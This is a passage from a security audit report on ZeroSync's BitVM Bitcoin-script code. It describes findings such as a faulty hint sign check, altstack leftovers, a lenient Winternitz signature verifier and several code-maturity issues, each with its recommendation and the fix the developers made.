    // With values for x and y so that x*y >= p, e.g.  x = 2^200 and y=2^200,
    this works
    // With other values it fails.
    let xs = lcs.map(|_| BigInt::from(2).pow(1));
    let ys = lcs.map(|_| BigInt::from(2).pow(1));

    let mut c = zero.clone();
    for i in 0..lcs.len() {
        let xy = &xs[i] * &ys[i];
        c += if lcs[i] { xy } else { -xy };
    }
    let r = &c % modulus;
    let r = &(if r.is_negative() { modulus + r } else { r });

    // correct quotient
    let q = &(&c / modulus);

    println!("x = {:?}", xs[0]);
    println!("y = {:?}", ys[0]);
    println!("c = {:?}", c);
    println!("r = {:?}", r);
    println!("q = {:?}", q);

    let script = script! {
        { T::push_u32_le(&bigint_to_u32_limbs(q.clone(), T::N_BITS)) }
```

```
        { U::push_u32_le(&xs[0].clone().to_u32_digits().1) }
        { U::push_u32_le(&ys[0].clone().to_u32_digits().1) }
        { <Fq as Fp254ZellicMulNegative>::tmul() }
        { U::push_u32_le(&bigint_to_u32_limbs(r.clone(), U::N_BITS)) }
        { Fq::equal(0,1) }
    };
    run(script);
}
```

If values are used for `xs[0]` and `ys[0]` that are large enough that their product is at least p, then the test succeeds. If smaller values are used, then the test will instead fail, as the `tmul` script fails on the range check for r'.

Recommendations

The `tmul` script should not check the sign of q but of c to compute r correctly according to this formula:

$$r = \begin{cases} c & \text{if } c \geq 0 \\ c + p & \text{if } c < 0 \end{cases}$$

An alternative would be to remove this special casing altogether. Instead of expecting the hint to be rounded towards zero, one could round it down. Then the formula for r would not need any special cases:

$$r = c$$

This would require a different computation of the hint on the Rust side where the hint is generated, while the `tmul` script would be simplified.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit bae9aaa0 ↗, by changing the `tmul` script so as to expect the hint to be rounded down, removing the case distinction based on the sign of q towards the end of the script and simplifying the logic to $r = c$.

3.38. Leftover values on altstack in `utils_fq12_square`

Target	chunk::taps_mul		
Category	Coding Mistakes	**Severity**	High
Likelihood	N/A	**Impact**	Informational

Description

The script created by the function `utils_fq12_square` pushes a value to the altstack, which is only retrieved in the `OP_ELSE` branch, that is, if the computed value `denom` is not zero.

Otherwise, it stays on the altstack, which is not expected.

```
pub(crate) fn utils_fq12_square(a: ark_bn254::Fq6) -> (ark_bn254::Fq6, bool,
    Script, Vec<Hint>) {
    // ...

    let scr = script! {
        // [hints a, c] []
        {Fq6::toaltstack()}
        // [hints, a], [c]

        // ...

        // [hints, a, denom] [c]
        {Fq6::copy(0)}
        {Fq6::is_zero()}
        OP_IF
            // [a, denom] [c]
            {Fq6::drop()}
            {Fq6::push(mock_value)}
            {0}
            // [a, mock_c, 0]
            // FINDING: [c] IS NOT DROPPED FROM ALTSTACK
        OP_ELSE
            {Fq6::fromaltstack()}

            // ..

            {1}
        OP_ENDIF
        // [a, c, 0/1]
```

```
    };

    // ...
}
```

Impact

In general, the altstack contains assertions that have been verified to be the operator-signed assertions. While the altstack can be used locally to temporarily store other values, each script part is expected to remove all elements from the altstack it has put there.

If a script part leaves values on the altstack, they will remain there until the execution of the hash script. The hash script will assume these values to be an assertion signed by the operator. This can lead to both a challenger erroneously succeeding to execute the script despite correct operator assertions and a challenger failing to execute the script despite incorrect assertions.

In this particular script, the script branch missing the altstack drop operation is reached if `denom = 1 + v*a^2` is zero, where `a` is in `Fq6` and `v` is the basis element of `Fq6` satisfying `v^3 = 9 + x`, where `x^2 = -1`.

If `1 + v*a^2` is zero, `v = (x*v*a)^2`; thus, `v` has to be a square in `Fq6`. The norm of `v` over `Fq` is `(9+x)*(9-x) = 82`, which is not a square in `Fq`. Thus, `denom` cannot be zero and the branch cannot be reached.

Recommendations

Either add the statements necessary to drop the elements from the altstack or remove the denominator check and the branch missing the altstack drop.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `091c3387` ↗.

3.39. MSM chunk-count formula incorrect

Target	chunk::g16_runner_utils		
Category	Coding Mistakes	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

In the function `chunk::g16_runner_utils::wrap_hint_msm`, the formula calculating `num_chunks_per_scalar` is incorrect.

```
pub(crate) fn wrap_hint_msm(
    skip: bool,
    segment_id: usize,
    scalars: Vec<Segment>,
    pub_vky: Vec<ark_bn254::G1Affine>,
) -> Vec<Segment> {
    let num_chunks_per_scalar =
        (Fr::N_BITS + WINDOW_G1_MSM - 1) / (WINDOW_G1_MSM *
    BATCH_SIZE_PER_CHUNK);
```

It should return the number of MSM segments per element of the function argument `scalar`. The MSM segments compute iterated point additions on G1. For each scalar, `Fq::N_BITS` additions are required. Each MSM segment will contain up to `WINDOW_G1_MSM * BATCH_SIZE_PER_CHUNK` additions.

For example, with `Fr::N_BITS = 248`, `WINDOW_G1_MSM = 8`, and `BATCH_SIZE_PER_CHUNK = 8`, the formula evaluates to 3, but three chunks could only contain `3*8*8 = 192` additions.

Impact

The error, as of the time of writing, has no impact because the result is correct for the currently used values of constants in the formula. If the values of the used constants were different in such a way that the computed number of chunks per scalar were incorrect, the computed value would be smaller than the correct one. The behavior then depends on the argument `skip`.

If `skip` is false, the following assertion would detect the error:

```
assert_eq!(houts.len(), num_chunks_per_scalar as usize * scalars.len());
```

If `skip` is true, the function would return an incorrect number of segments.

Recommendations

Change the formula.

```
let num_chunks_per_scalar =

    (Fr::N_BITS + WINDOW_G1_MSM - 1) / (WINDOW_G1_MSM * BATCH_SIZE_PER_CHUNK);
    (Fr::N_BITS + WINDOW_G1_MSM * BATCH_SIZE_PER_CHUNK - 1) / (WINDOW_G1_MSM
        * BATCH_SIZE_PER_CHUNK);
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `fbc96f9d`.

3.40. Verifier `BinarysearchVerifier` for Winternitz signatures accepts malformed signatures

Target	BinarysearchVerifier		
Category	Coding Mistakes	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

The codebase contains three different verifier implementations in bitvm/src/signatures/winternitz.rs that produce scripts checking Witnernitz signatures. This finding is about one of these, the `BinarysearchVerifier`.

We will use the notation from section 4.1. ↗, which contains an introduction to Winternitz signatures.

Recall that verifying a signature consists of two steps. (In this description, we assume security of the Witnernitz signature scheme with the given parameters, such as the hash function used.)

1. First, given $(\sigma_0, \ldots, \sigma_{n_0+n_1-1})$ and perhaps $(m'_0, \ldots, m'_{n_0-1}, c'_0, \ldots, c'_{n_1-1})$, obtain on success $(m_0, \ldots, m_{n_0-1}, c_0, \ldots, c_{n_1-1})$ so that each m_i and c_i is in the range from 0 to d and so that the signature is a correct digit-wise signature for this tuple. This step may fail if, for some σ_i, the claimed signed digit m'_i or c'_{i-n_0} (if provided) or every digit in range (if the data is being brute-forced rather than given) does not have σ_i as a valid digit signature with the given public key.
2. Second, check that the checksum digits match the expected checksum from the message digits.

In practice, the message used may be in a different format than the tuple of digits used here, and the signer will start by converting the message to digits, and the verifier will, as the third step, convert the message digits back to the original format. Note that some descriptions of the Winternitz scheme will do things in a different order, where the verifier will always have the original message data available on verification and converts this to message and checksum digits first, then verifies the digit signatures on this. However, the actual implementation follows the steps we outlined above.

Assuming security of the Winternitz scheme, the `BruteforceVerifier` and `ListpickVerifier` both have `verify_digits` functions that produce a script that carries out the first verification step in the description above, so they take a signature as input (together with the claimed digits in the case of `ListpickVerifier`, only the actual signature in the case of the `BruteforceVerifier`) and either fail or emit as output a tuple $(s_0, \ldots, s_{n_0+n_1-1})$ so that $0 \leq s_i \leq d$ for all i and so that the given signature is a digit-wise signature for this tuple with the given fixed public key.

This finding is about the `BinarysearchVerifier`'s `verify_digits` function, which, when executed with tapscript consensus rules on minimal ifs, also behaves this way but due to a minor optimization that does not appear to have been intentional. Without this specific optimized usage of `OP_IF`, `BinarysearchVerifier`'s `verify_digits` function would emit as output a tuple $(s_0, \ldots, s_{n_0+n_1-1})$ where it is only guaranteed that $0 \leq s_i$ for all i and that the potentially different tuple $(u_0, \ldots, i_{n_0+n_1-1})$ was validly signed digit-wise, where $u_i = s_i$ if $s_i \leq d$, but $u_i = d - 1$ if $s_i > d$.

Impact

An in-line comment in the function indicates that out-of-range digits being given as input was considered:

```
//one can send digits out of the range, i.e. negative or bigger than D for it
    to act as in range, so inorder for checksum to not be decreased, a lower
    bound check is necessary and enough
OP_0
OP_MAX
```

Here, the code replaces each negative input digit with zero, and the comment explains why this is necessary and why also bounding the upper end of the range is then not necessary.

This argument relates to a threat model in which the honest signer produced only a single well-formed signature, and the question is whether the attacker, who submits a claimed signature to this script, will be able to submit something that, after checksum verification, will pass all checks but differ from the honestly signed data.

What such an attacker can always do is to take the valid digit-wise signature of a tuple and produce another valid digit-wise signature of another tuple, as long as the new tuple's digits are all bigger than or equal to the original tuple's. The behavior of `BinarysearchVerifier::verify_digits` means that the attacker can do the same — but even going beyond the usual range ending at d.

Both the normal modifications as well as increasing digits beyond d are, as the comment correctly points out, prevented if negative digits are not usable. The reason for this involves the checksum. In order to pass the checksum check, increasing the correct values of the message digits requires also *decreasing* the value of at least one checksum digit and vice versa. Assuming the hash function used is secure, the attacker cannot produce a digit signature for a smaller digit than the originally signed one, if only nonnegative digits are considered. The concern remains that the attacker may use negative digits that for the purposes of the digit-wise signature check are treated as zero but which are treated as negative integers for the purposes of the checksum check. This remaining concern is ruled out by replacing every input digit by its maximum with zero.

The above argument thus implies that the behavior `BinarysearchVerifier::verify_digits` is safe against one particular (though the most important) scenario — when the verifier is used on input controlled by an attacker that only has access to one honest, well-formed signature and tries to get data validated that was not actually signed by the honest verifier.

However, this is only one threat scenario. Consider the following flow in which the signer is

malicious, thereby making the above arguments inapplicable, as the signer can create digit-wise signatures for arbitrary digits, even those that do not have correct checksums or are otherwise malformed:

1. A public key for party O is committed and known to all parties.
2. Party O publishes a signature σ for some data m.
3. To ensure that σ is indeed a valid signature, `BinarysearchVerifier` is used to check that the signature is valid for data claimed by O. If it is not, O is slashed.
4. Later, another party C may run scripts that require a valid signature by O as input and check this using `BinarysearchVerifier` or another verifier. The scripts check some properties on the signed data, and O is slashed if these properties do not hold.

Below we will explain why a particular efficiency trick used in the implementation actually does prevent using digits bigger than d even without the argument given above. But suppose this were not the case. Then (as we will explain further below) `BinarysearchVerifier`'s `verify_digits` function would emit as output a tuple $(s_0, \ldots, s_{n_0+n_1-1})$ where it is only guaranteed that $0 \leq s_i$ for all i and that the potentially different tuple $(u_0, \ldots, u_{n_0+n_1-1})$ was validly signed digit-wise, where $u_i = s_i$ if $s_i \leq d$, but $u_i = d - 1$ if $s_i > d$.

Then we could consider a scenario in which O could use the nonstandard behavior of `BinarysearchVerifier` to produce "signatures" for invalid data. For example, suppose $d = 15$. Party O might produce a signature for the message $(20, 0)$ by appending the checksum $(0, 0, 10)$ and digit-wise signing $(14, 0, 0, 0, 10)$. This signature would be accepted as a signature for $(20, 0)$ if one uses `BinarysearchVerifier` to check the signature. Party O can thus avoid being slashed in step 3.

However, should party C use this signature as is in step 4, they will fail if using other verifiers due to the out-of-range digit. For `BinarysearchVerifier`, signature verification will succeed, but conversion to bytes will produce an out-of-range invalid "byte" vector `[320]`. This might potentially make the script fail on further computation, preventing C from slashing O.

Note that C could compute from the given signature a digit-wise signature for $(14, 6, 0, 0, 10)$, which would then be accepted, and slash O using this. However, this requires C to figure out the reason why their transactions (or the code used to generate them) fail and write custom code to modify the signature appropriately.

The above scenario explains why the reasoning given in the function's comments is insufficient for this function to be safe. Now we turn to explaining why the behavior of `BinarysearchVerifier` hinges on the precise behavior of `OP_IF` in tapscript consensus rules.

The function extracts bits one by one from $d - s_i$, for s_i, one of the digits. This is done by comparing the value against a power of two. As the upper bits are assumed to have already been cleared, the value will be greater than or equal to 2^k if and only if the k-th bit is set. In the very last iteration, the assumption is then that the remaining value consists of only the very last bit — instead of instructions roughly like the following (slightly simplified from the actual code to remove irrelevant aspects).

```
{ 1 }
OP_GREATERTHANOREQUAL
OP_IF
```

As an optimization, the following is done:

```
OP_IF
```

Now note that if $s_i > d$, then $d - s_i < 0$. All the inequality checks in the iterations except the last will thus return `false`. The value still remaining on the last iteration is thus still $d - s_i < 0$. Now in the Bitcoin crate that is used to execute the Bitcoin scripts from Rust, the following documentation can be found for `OP_IF`:

```
OP_IF => 0x63, "Pop and execute the next statements if a nonzero element was
    popped.";
```

As $d - s_i < 0$ is nonzero, this would suggest that the last `OP_IF` would treat this value as `true`.

The upshot would be that for $s_i > d$, the value is treated as if it had been $s_i = d - 1$ for the purposes of the signature verification.

If one checks the actual execution in Bitcoin, however, we find (code from commit `d767503b6a2618e0c99407acf98f3bd19fb7defd`) the following logic in src/script/interpreter.cpp:

```
case OP_IF:
case OP_NOTIF:
{
    // <expression> if [statements] [else [statements]] endif
    bool fValue = false;
    if (fExec)
    {
        if (stack.size() < 1)
            return set_error(serror, SCRIPT_ERR_UNBALANCED_CONDITIONAL);
        valtype& vch = stacktop(-1);
        // Tapscript requires minimal IF/NOTIF inputs as a consensus rule.
        if (sigversion == SigVersion::TAPSCRIPT) {
            // The input argument to the OP_IF and OP_NOTIF opcodes must be
                either
            // exactly 0 (the empty vector) or exactly 1 (the one-byte
                vector with value 1).
            if (vch.size() > 1 || (vch.size() == 1 && vch[0] != 1)) {
                return set_error(serror, SCRIPT_ERR_TAPSCRIPT_MINIMALIF);
            }
        }
        // Under witness v0 rules it is only a policy rule, enabled through
```

```
    SCRIPT_VERIFY_MINIMALIF.
        if (sigversion == SigVersion::WITNESS_V0 && (flags &
    SCRIPT_VERIFY_MINIMALIF)) {
            if (vch.size() > 1)
                return set_error(serror, SCRIPT_ERR_MINIMALIF);
            if (vch.size() == 1 && vch[0] != 1)
                return set_error(serror, SCRIPT_ERR_MINIMALIF);
        }
        fValue = CastToBool(vch);
        if (opcode == OP_NOTIF)
            fValue = !fValue;
        popstack(stack);
    }
    vfExec.push_back(fValue);
}
```

Here we can see that for `TAPSCRIPT` scripts, the transaction will fail should `OP_IF` encounter a value that is not zero or one. This means that `BinarysearchVerifier::verify_digits` will fail (if used in tapscript) whenever any $s_i > d$. Note that bounding s_i below is not actually necessary for the same reason.

Recommendations

While the current behavior of `BinarysearchVerifier::verify_digits` appears safe, this seems to rely on an unintentional usage of a tapscript-specific consensus rule. We thus recommend to clearly document this logic to prevent future changes from making this function vulnerable. We also recommend to add tests that check that attacks as described above indeed fail due to the `OP_IF` behavior. For additional robustness, we also recommend to consider explicitly bounding the input digits similar to the already implemented lower bound.

Note that within the in-scope code, `BinarysearchVerifier` appears to be unused outside of tests. Should `BinarysearchVerifier` be deprecated code, it could thus also be removed instead.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit e487fe3b ↗, in which the the importance of the `OP_IF` for the safety of the script is documented.

3.41. Incorrect hint type for `tmul_lc2_w4` wrappers

Target	bn254::fp254impl::Fp254Impl::{hinted_mul_lc2_w4, hinted_mul_lc2_keep_elements_w4}		
Category	Coding Mistakes	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

The `hinted_mul_lc2_w4` wrapper around `tmul_lc2_w4` is implemented as follows in bitvm/src/bn254/fp254impl.rs:

```
fn hinted_mul_lc2_w4(
    a_depth: u32,
    a: ark_bn254::Fq,
    b_depth: u32,
    b: ark_bn254::Fq,
    c_depth: u32,
    c: ark_bn254::Fq,
    d_depth: u32,
    d: ark_bn254::Fq,
) -> (Script, Vec<Hint>) {
    assert!(a_depth > b_depth && b_depth > c_depth && c_depth > d_depth);

    let mut hints = Vec::with_capacity(1);

    let modulus = &Fq::modulus_as_bigint();

    let x = BigInt::from_str(&a.to_string()).unwrap();
    let y = BigInt::from_str(&b.to_string()).unwrap();
    let z = BigInt::from_str(&c.to_string()).unwrap();
    let w = BigInt::from_str(&d.to_string()).unwrap();

    let q = (x * z + y * w) / modulus;

    let script = script! {
        for _ in 0..Self::N_LIMBS {
            OP_DEPTH OP_1SUB OP_ROLL // hints
        }
        // { Fq::push(ark_bn254::Fq::from_str(&q.to_string()).unwrap()) }
        { Fq::roll(a_depth + 1) }
        { Fq::roll(b_depth + 2) }
```

```
        { Fq::roll(c_depth + 3) }
        { Fq::roll(d_depth + 4) }
        { Fq::tmul_lc2_w4() }
    };
    hints.push(Hint::BigIntegerTmulLC2(q));

    (script, hints)
}
```

Note that the script used is `Fq::tmul_lc2_w4()`, while the hint used is a `Hint::BigIntegerTmulLC2`.

The `Fq::tmul_lc2_w4()` function uses `tmul` from the `Fp254Mul2LCW4` trait implementation of `Fq`:

```
pub fn tmul_lc2_w4() -> Script {
    script! {
        { <Fq as Fp254Mul2LCW4>::tmul() }
    }
}
```

The hint `Hint::BigIntegerTmulLC2` uses a type with parameters from `Fq::bigint_tmul_lc_2()`:

```
impl Hint {
    pub fn push(&self) -> Script {
        // ...
        const K2: (u32, u32) = Fq::bigint_tmul_lc_2();
        // ...
        pub type T2 = BigIntImpl<{ K2.0 }, { K2.1 }>;
        // ...
        match self {
            // ...
            Hint::BigIntegerTmulLC2(a) => script! {
                { T2::push_u32_le(&bigint_to_u32_limbs(a.clone(), T2::N_BITS))
    }
            },
            // ...
        }
    }
}
```

This in turn arises from the `Fp254Mul2LC` trait implementation of `Fq`:

```
pub const fn bigint_tmul_lc_2() -> (u32, u32) {
    const X: u32 = <Fq as Fp254Mul2LC>::T::N_BITS;
    const Y: u32 = <Fq as Fp254Mul2LC>::LIMB_SIZE;
    (X, Y)
}
```

This is thus the incorrect type; the hint for `hinted_mul_lc2_w4` should be pushed as an `<Fq as Fp254Mul2LCW4>::T`, not an `<Fq as Fp254Mul2LC>::T`.

The same issue is present in `hinted_mul_lc2_keep_elements_w4`.

Impact

We first note that hint handling is an off-chain matter. Thus, it is relevant for completeness that this code works correctly with legitimate inputs, but this code is not required to correctly reject malformed inputs.

Note that `Fp254Mul2LCW4` implements `tmul` with two summands with a positive sign and with window size 4. The correct value for the hint q is thus `round_towards_zero` $\left(\frac{x_0 \cdot y_0 + x_1 \cdot y_1}{p}\right)$, where p is the prime order of `Fq` and $0 \leq x_0, x_1, y_0, y_1 < p$ are the factors that are input to `tmul`. Note that we thus obtain the following bound for the correct value of q:

$$0 \leq q < \frac{2^{254} \cdot 2^{254} + 2^{254} \cdot 2^{254}}{2^{253}} = 2^{2 \cdot 254 + 1 - 253} = 2^{256}$$

There are two ways the incorrect type is used in `Hint::push`. The first is that the `push_u32_le` function of the incorrect type is used. The second is that the number of bits `N_BITS` of the incorrect type is used as an argument to `bigint_to_u32_limbs`.

The correct type and the incorrect one do differ in their bit width due to a different window size. Concretely, the type being used by `Hint::push` will be one bit less wide than the correct type, with the correct type having bit width $254 + 4 + 1 + 1 = 260$ and the incorrect one having bit width $254 + 3 + 1 + 1 = 259$.

If the legitimate q could take a negative value, this would make `bigint_to_u32_limbs(a.clone(), T2::N_BITS))` take an incorrect value, as the missing top bit would be extended with zero, rather than sign-extended. The `push_u32_le` would in any case again truncate the top bit and zero-extend it again, so both steps amount to the same problem hypothetically.

Due to the legitimate q being nonnegative, problematic values will not occur on legitimate usage, so there is no impact.

Recommendations

While there is no impact at the time of writing, we recommend to use the correct types for additional robustness and clarity of the code.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 1a96f08e ↗, in which the functions `hinted_mul_lc2_w4` and `hinted_mul_lc2_keep_elements_w4` were changed to use a newly introduced `Hint::BigIntegerTmulLC2W4` hint type that uses `<Fq as Fp254Mul2LCW4>::T`.

3.42. Usage of script-generating functions of incorrect types

Target	All rust types with a bitcoin stack representation		
Category	Code Maturity	**Severity**	Informational
Likelihood	High	**Impact**	Informational

Description

This finding is concerned with Rust types that have a representation as Bitcoin stack elements. Frequently used examples are integer types (U254, U256), field types (`Fq`, `Fq2`, `Fq6`, `Fq12`, `Fr`) and elliptic curve point types (`G1Affine`, `G2Affine`). Several functions of these types generate scripts that operate on their Bitcoin stack representations.

We found that in several cases, script-generating functions on a narrower type are invoked, while the generated script is required to function for a wider type. Consider for example the following snippet from file bitvm/src/chunk/taps_ext_miller.rs invoking `U254::lessthan` two times:

```
pub(crate) fn chunk_precompute_p(
    hint_in_py: ark_ff::BigInt<4>,
    hint_in_px: ark_ff::BigInt<4>,
) -> (ark_bn254::G1Affine, bool, Script, Vec<Hint>) {
    // ...
    let scr = script! {
        // [hints] [pdhash, py, px]
        {Fq2::fromaltstack()}
        // [hints, px, py] [pdhash]
        // {is_field_element}
        // [hints, px, py, px, py]
        {Fq2::copy(0)}

        { Fq::push_hex(Fq::MODULUS) }
        { U254::lessthan(1, 0) } // py < p
        OP_TOALTSTACK
        { Fq::push_hex(Fq::MODULUS) }
        { U254::lessthan(1, 0) } // px < p
```

Both times, the comparison is made to ensure that the values `px` and `py`, which are known to be U256 integers, are reduced representations of `Fq`. The correctness of this comparison relies on the comparison script working for U256, which is a wider type than U254.

Impact

The requirement to work for a wider type is unexpected in the implementation for the narrower type. It creates fragile dependencies, which break with implementations that make use of the restrictions of the narrower type.

Recommendations

We recommend to invoke the functions on the type for which the script is required to work.

Remediation

This issue has been acknowledged by ZeroSync.

3.43. Avoidable access of mock results

Target	chunk::g16_runner_utils		
Category	Code Maturity	**Severity**	Informational
Likelihood	High	**Impact**	Informational

Description

The functions in `g16_runner_utils` generating the segments have an argument `skip: bool`. By setting this argument, only the fields `id`, `parameter_ids`, `result.1: ElementType`, and `scr_type` documenting the segment signature are computed, and the expensive computation of values (result and hints) and scripts is skipped.

Access of previous segments' result values is only necessary if `skip` is set to `false`. We found that the segment-generating functions unwrap their input segments' result values even if `skip` is `true`.

Impact

The instants of a `Segment` do not clearly indicate whether the result is the actual result or a mock value. Their interface allows access of the result even if it was not computed. This confusion could lead to mock results mistakenly used in place of computed results.

Recommendations

Separate the parts that are computed when `skip` is set to `false` in the `Segment` type, and use an `Option` type with value `None` indicating that these values were not computed instead of mock values.

A restructured `Segment` struct could look like this:

```
pub(crate) struct Segment {
    pub id: SegmentID,
    pub parameter_ids: Vec<(SegmentID, ElementType)>,
    pub result: (DataType, ElementType),
    pub result_type: ElementType,
    pub hints: Vec<Hint>,
    pub scr_type: ScriptType,
    pub scr: ScriptBuf,
    pub scr: Option<ScriptBuf>,
```

```
    pub is_valid_input: bool,
    pub values: Option<SegmentValues>,
}

pub(crate) struct SegmentValues {
    pub hints: Vec<Hint>,
    pub result: DataType,
    pub is_valid_input: bool,
}
```

Move unwrapping of results to code only executed when `skip` is `false` in all functions of this crate. Take this for example:

```
let f = in_f.result.0.try_into().unwrap();

// ..
if !skip {
    // When using current Segment struct
    let f = in_f.result.0.try_into().unwrap();
    // When using proposed Segment struct
    let f = in_f.values.unwrap().result.try_into().unwrap();
}
```

Remediation

This issue has been acknowledged by ZeroSync.

3.44. Inconsistent stack-reference semantics

Target	All functions taking stack depths as arguments		
Category	Code Maturity	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

A number of functions allow for operations on values lower on the stack. For example, `BigIntImpl::add` takes inputs `a: u32` and `b: u32` that represent where the operands are on the stack.

Within the bigint implementation, these references are usually in bigint units. In other words, `BigIntImpl<256, 29>::double(a: u32)` will look `a` bigint units down the stack, which corresponds to `a * 9` items (with nine being the number of limbs used to present a bigint with `N_BITS = 256` and `LIMB_SIZE = 29`).

However, the `BigIntImpl::double_allow_overflow_keep_element` function takes an input `n: u32` that refers directly to the depth in stack items.

In the bn254 directory, most functions use the convention that stack depths are counted in multiples of 9, with nine being the number of limbs of the fundamental `Fq` type. Thus, for example, if the stack contains two `Fq12` elements at the top, then `Fq12::roll(12)` must be used to roll the second `Fq12` element to the top, as each `Fq12` consists of $12 \cdot 9$ stack elements.

However, this convention is not consistent. For example, the elliptic curve related function `G1Affine::roll` uses a different convention and counts the stack depth in multiples of $2 \cdot 9$, corresponding to the size of `G1Affine` elements on the stack.

Impact

This inconsistency can be confusing for developers and make the code harder to reason about and maintain.

Recommendations

We recommend disambiguating the semantics of these stack references, or at least thoroughly document any differences with rationale.

Remediation

This issue has been acknowledged by ZeroSync, and fixes were implemented in the following commits:

- 1c8926ff
- 9e1cddec

3.45. Functions specific for `Fq` implemented in the `Fp254Impl` trait

Target	bn254::fp254impl::Fp254Impl		
Category	Code Maturity	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

Various functions are implemented for the `Fp254Impl` trait that operate specifically on `Fq`, which is only one specific type that implements `Fp254Impl`. The type `Fr` is another one implementing `Fp254Impl`, so counterintuitively, `Fr::hinted_mul` is a function operating on `Fq` rather than `Fr`.

Note that some of these functions utilize `Self`, which may refer to an uninted type, for example `Fr`, instead of the intended `Fq`. At the time of writing, the usages of `Self` are only related to accessing the number of limbs and similar, which are the same in all implementations of `Fp254Impl` present in the current codebase.

These issues appear in the functions in bitvm/src/bn254/fp254impl.rs from `hinted_mul` to `hinted_inv`.

Impact

While we have not observed an issue in the current state of the codebase connected to this, unintuitive behavior like this can cause developer mistakes in the future.

Recommendations

We recommend to move these functions to an implementation for `Fq` specifically.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit c1fe337e ↗, in which the mentioned functions were moved from an implementation for `Fp254Impl` to an implementation for `Fq`.

3.46. Unreachable code branch in `tonelli_shanks_cubic`

Target	groth16::offchain_checker		
Category	Code Maturity	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

In the code below, the condition in the if statement on the last line never evaluates true. Thus, the `then` branch is never used.

```
fn tonelli_shanks_cubic(
    //...
    s: u32,
    //...
) -> ark_bn254::Fq12 {
    //...
    for i in 1..(s as i32) {
        let delta = (s as i32) - i - 1;
        let d = if delta < 0 {
```

Impact

The unreachable code obscures the intended behavior of the function.

Recommendations

Remove the if statement and the `then` branch. Do not cast `s` to a signed int.

```
fn tonelli_shanks_cubic(
    //...
    s: u32,
    //...
) -> ark_bn254::Fq12 {
    //...
    for i in 1..(s as i32) {
    for i in 1..s {
        let delta = (s as i32) - i - 1;
```

```
let delta = s - i - 1;
let d = if delta < 0 {
    r.pow((&exp / 3_u32.pow((-delta) as u32)).to_u64_digits())
} else {
    r.pow([3_u32.pow(delta as u32).to_u64().unwrap()])
};
let d = r.pow([3_u32.pow(delta).to_u64().unwrap()]);
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 25bc8476 ↗.

3.47. Incorrect log asserts in `compute_c_wi`

Target	groth16::offchain_checker		
Category	Code Maturity	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

The function `compute_c_wi` generates a witness that allows to certify that the argument `f` is an `r`-th power in `Fq12`. Any `r`-th power is an expected input to this function. In particular, `f = 1` is allowed and expected.

These log asserts that the derived values `f2` and `f3` are not `1` are unnecessary, as for both variables this is a possible and expected value.

```
pub fn compute_c_wi(f: ark_bn254::Fq12) -> (ark_bn254::Fq12, ark_bn254::Fq12)
    {
    // wi is one of 1,w,w^2
    let f1 = f * wi;

    // ...
    let f2 = f1.pow(r_inv.to_u64_digits());
    log_assert_ne!(f2, ark_bn254::Fq12::ONE);

    // ...
    let f3 = f2.pow(mm_inv.to_u64_digits());

    //..
    log_assert_ne!(f3, ark_bn254::Fq12::ONE);

    //..
    let c = tonelli_shanks_cubic(f3, w, S, T.clone(), K.clone());
    log_assert_ne!(c, ark_bn254::Fq12::ONE);
```

Impact

The log asserts communicate to the reader that the value `ark_bn254::Fq12::ONE` deserves special attention, while there is no apparent reason in the code warranting that attention. This makes the code harder to read.

Recommendations

Remove these log asserts.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 168845f6 ↗.

3.48. Redundant sign checks in `F254Impl::is_field`

Target	F254Impl::is_field		
Category	Code Maturity	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

The function `F254Impl::is_field` pops the top `N_LIMBS` elements from the stack and is intended to return a boolean indicating whether these stack elements form a valid reduced `F254Impl` element — so a U254 bigint x satisfying $0 \leq x < p$.

It is implemented as follows:

```
fn is_field() -> Script {
    script! {
        // Each limb must not be negative
        for i in 0..Self::N_LIMBS - 1 {
            { i } OP_PICK
            0 OP_GREATERTHANOREQUAL OP_TOALTSTACK
        }
        { Self::N_LIMBS - 1 } OP_PICK
        0 OP_GREATERTHANOREQUAL
        for _ in 0..Self::N_LIMBS - 1 {
            OP_FROMALTSTACK OP_BOOLAND
        }
        OP_TOALTSTACK


        { Self::push_modulus() }
        { U254::lessthan(1, 0) }

        OP_FROMALTSTACK OP_BOOLAND
    }
}
```

The first part of the script, up to `OP_TOALTSTACK`, checks that each limb is not negative. The remaining part then assumes that the limbs on the stack form a U254 bigint and checks that this bigint is smaller than p.

Thus, the script has the specification that it

- returns 0 if one of the limbs is negative or the limbs form a valid U254 that is bigger than

or equal to p.
- returns 1 if the limbs form a valid U254 that is smaller than p.

The behavior of the script should all limbs be nonnegative but not form a valid U254 — by one limb being larger than the upper limit, 22 bits for the most significant (lowest) limb and 29 for the others — is more complex to describe and depends on the precise implementation of `U254::lessthan`.

The script is not used within the scope, so it cannot be judged by usage how the script is intended to behave. However, one of the following two specifications is likely intended:

1. The input is assumed to be a valid U254, and the script should return a boolean indicating whether this bigint is smaller than p.
2. It is only assumed that nine elements (or more) are present on the stack, and the script is to return a boolean indicating whether these elements form a valid U254 that is smaller than p.

If the first is intended, then the nonnegativity checks in the current implementation are unnecessary and can be removed. If the second is intended, the script does not behave correctly in cases in which the limbs on the stack are too large to form a valid U254.

Impact

The function likely behaves either inefficiently or incorrectly in some cases. The presence of range checks on the limbs may make future developers assume that the function behaves as in the second option and thus use it in an unsafe way.

Recommendations

We recommend to document the intended behavior of the function and to adjust its implementation accordingly.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 0882b150 ↗, in which the `is_field` function is removed.

3.49. Arithmetic overflow possible in edge case when negating hint for `tmul`

Target	bn254::fq::fp_lc_mul		
Category	Code Maturity	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

